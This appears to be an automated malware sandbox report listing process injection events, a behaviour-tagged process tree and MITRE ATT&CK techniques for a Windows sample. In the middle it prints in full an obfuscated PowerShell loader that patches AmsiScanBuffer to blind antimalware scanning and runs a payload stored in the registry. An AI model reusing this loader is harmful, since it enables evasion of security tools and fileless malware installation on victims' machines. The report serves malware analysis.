PID 5088 wrote to memory of 1908	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2144	5088	dllhost.exe	spoolsv.exe
PID 5088 wrote to memory of 2184	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2356	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2528	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2536	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2644	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2712	5088	dllhost.exe	sysmon.exe
PID 5088 wrote to memory of 2728	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2744	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2752	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2924	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2936	5088	dllhost.exe	sihost.exe
PID 5088 wrote to memory of 3044	5088	dllhost.exe	unsecapp.exe
PID 5088 wrote to memory of 2844	5088	dllhost.exe	taskhostw.exe
PID 5088 wrote to memory of 528	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 3360	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 3468	5088	dllhost.exe	Explorer.EXE
PID 5088 wrote to memory of 3580	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 3776	5088	dllhost.exe	DllHost.exe
PID 5088 wrote to memory of 3936	5088	dllhost.exe	RuntimeBroker.exe
PID 5088 wrote to memory of 4152	5088	dllhost.exe	RuntimeBroker.exe
PID 5088 wrote to memory of 5060	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 3508	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 3380	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2028	5088	dllhost.exe	OfficeClickToRun.exe
PID 5088 wrote to memory of 1544	5088	dllhost.exe	SppExtComObj.exe
PID 5088 wrote to memory of 2264	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 3632	5088	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:608

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:64

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{dacf876e-ab58-4f9a-b40a-8f68f9e7bd2b}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5088

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1120

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2844

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:muJPmHuLoUAh{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$bRLoayFApZQrUB,[Parameter(Position=1)][Type]$NnGltmYPwX)$OLRMAmhWUSU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+'d'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+'o'+[Char](114)+'yM'+'o'+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+[Char](101)+'le'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+'p'+''+'e'+'',''+'C'+''+[Char](108)+'as'+[Char](115)+','+'P'+''+[Char](117)+''+[Char](98)+'li'+'c'+''+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+'l'+''+'e'+''+[Char](100)+''+[Char](44)+'A'+[Char](110)+'si'+[Char](67)+'lass'+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$OLRMAmhWUSU.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+'i'+'a'+''+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+',H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+',Pu'+[Char](98)+'l'+'i'+'c',[Reflection.CallingConventions]::Standard,$bRLoayFApZQrUB).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+'ime'+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+'g'+'e'+[Char](100)+'');$OLRMAmhWUSU.DefineMethod('I'+[Char](110)+''+'v'+''+'o'+''+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+',Hid'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'N'+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$NnGltmYPwX,$bRLoayFApZQrUB).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+'im'+[Char](101)+''+[Char](44)+''+'M'+''+'a'+'n'+[Char](97)+''+'g'+''+[Char](101)+'d');Write-Output $OLRMAmhWUSU.CreateType();}$yHeipaCEDAbmQ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+'st'+'e'+''+'m'+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+'t.W'+[Char](105)+'n'+[Char](51)+''+'2'+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$hWCfKJTbEQZxWj=$yHeipaCEDAbmQ.GetMethod('G'+'e'+'t'+[Char](80)+''+'r'+'o'+'c'+'Ad'+'d'+''+[Char](114)+'e'+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qYQpweznbrwCBlLBybf=muJPmHuLoUAh @([String])([IntPtr]);$AYsHhPbmzNFKrOeAFEskVL=muJPmHuLoUAh @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ELJZvqDVOjC=$yHeipaCEDAbmQ.GetMethod(''+'G'+'e'+'t'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'Ha'+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+'.d'+[Char](108)+'l')));$xoQiGocUCpTWeO=$hWCfKJTbEQZxWj.Invoke($Null,@([Object]$ELJZvqDVOjC,[Object](''+'L'+'o'+'a'+'d'+[Char](76)+''+[Char](105)+''+'b'+''+'r'+''+[Char](97)+'r'+'y'+'A')));$nbEjGIwYpcfuydvTz=$hWCfKJTbEQZxWj.Invoke($Null,@([Object]$ELJZvqDVOjC,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+'u'+'a'+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+'e'+'c'+'t')));$ZOwxoAs=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xoQiGocUCpTWeO,$qYQpweznbrwCBlLBybf).Invoke(''+[Char](97)+'m'+'s'+''+'i'+''+'.'+''+[Char](100)+'ll');$ToqOtKqWBlUhXXTCn=$hWCfKJTbEQZxWj.Invoke($Null,@([Object]$ZOwxoAs,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+'S'+'c'+'a'+'nB'+[Char](117)+''+[Char](102)+''+'f'+'e'+[Char](114)+'')));$JZjZGKooso=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nbEjGIwYpcfuydvTz,$AYsHhPbmzNFKrOeAFEskVL).Invoke($ToqOtKqWBlUhXXTCn,[uint32]8,4,[ref]$JZjZGKooso);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ToqOtKqWBlUhXXTCn,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nbEjGIwYpcfuydvTz,$AYsHhPbmzNFKrOeAFEskVL).Invoke($ToqOtKqWBlUhXXTCn,[uint32]8,0x20,[ref]$JZjZGKooso);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'$'+''+'7'+''+[Char](55)+''+[Char](115)+''+'t'+'a'+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1432

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2936

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:316

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:4516

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:3668

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:900

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:3128

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:4048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1584

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1908

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2144

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2184

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2644

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:2728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2924

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3360

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3468

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
2⤵
- System Location Discovery: System Language Discovery
PID:3688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3580

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3776

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3936

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:3380

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2028

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1544

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:3632

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2984

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3076

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:3444

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:1340

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4588

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe a8dc66b01df448c923e2d51bafcfd8a4 HQutfai45UOmb0v2dBKXhA.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:1104

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
2⤵
PID:4544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2600

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:1480

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Drops file in Windows directory
PID:3848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
PID:2840

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4252

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

5

System Location Discovery

T1614

System Language Discovery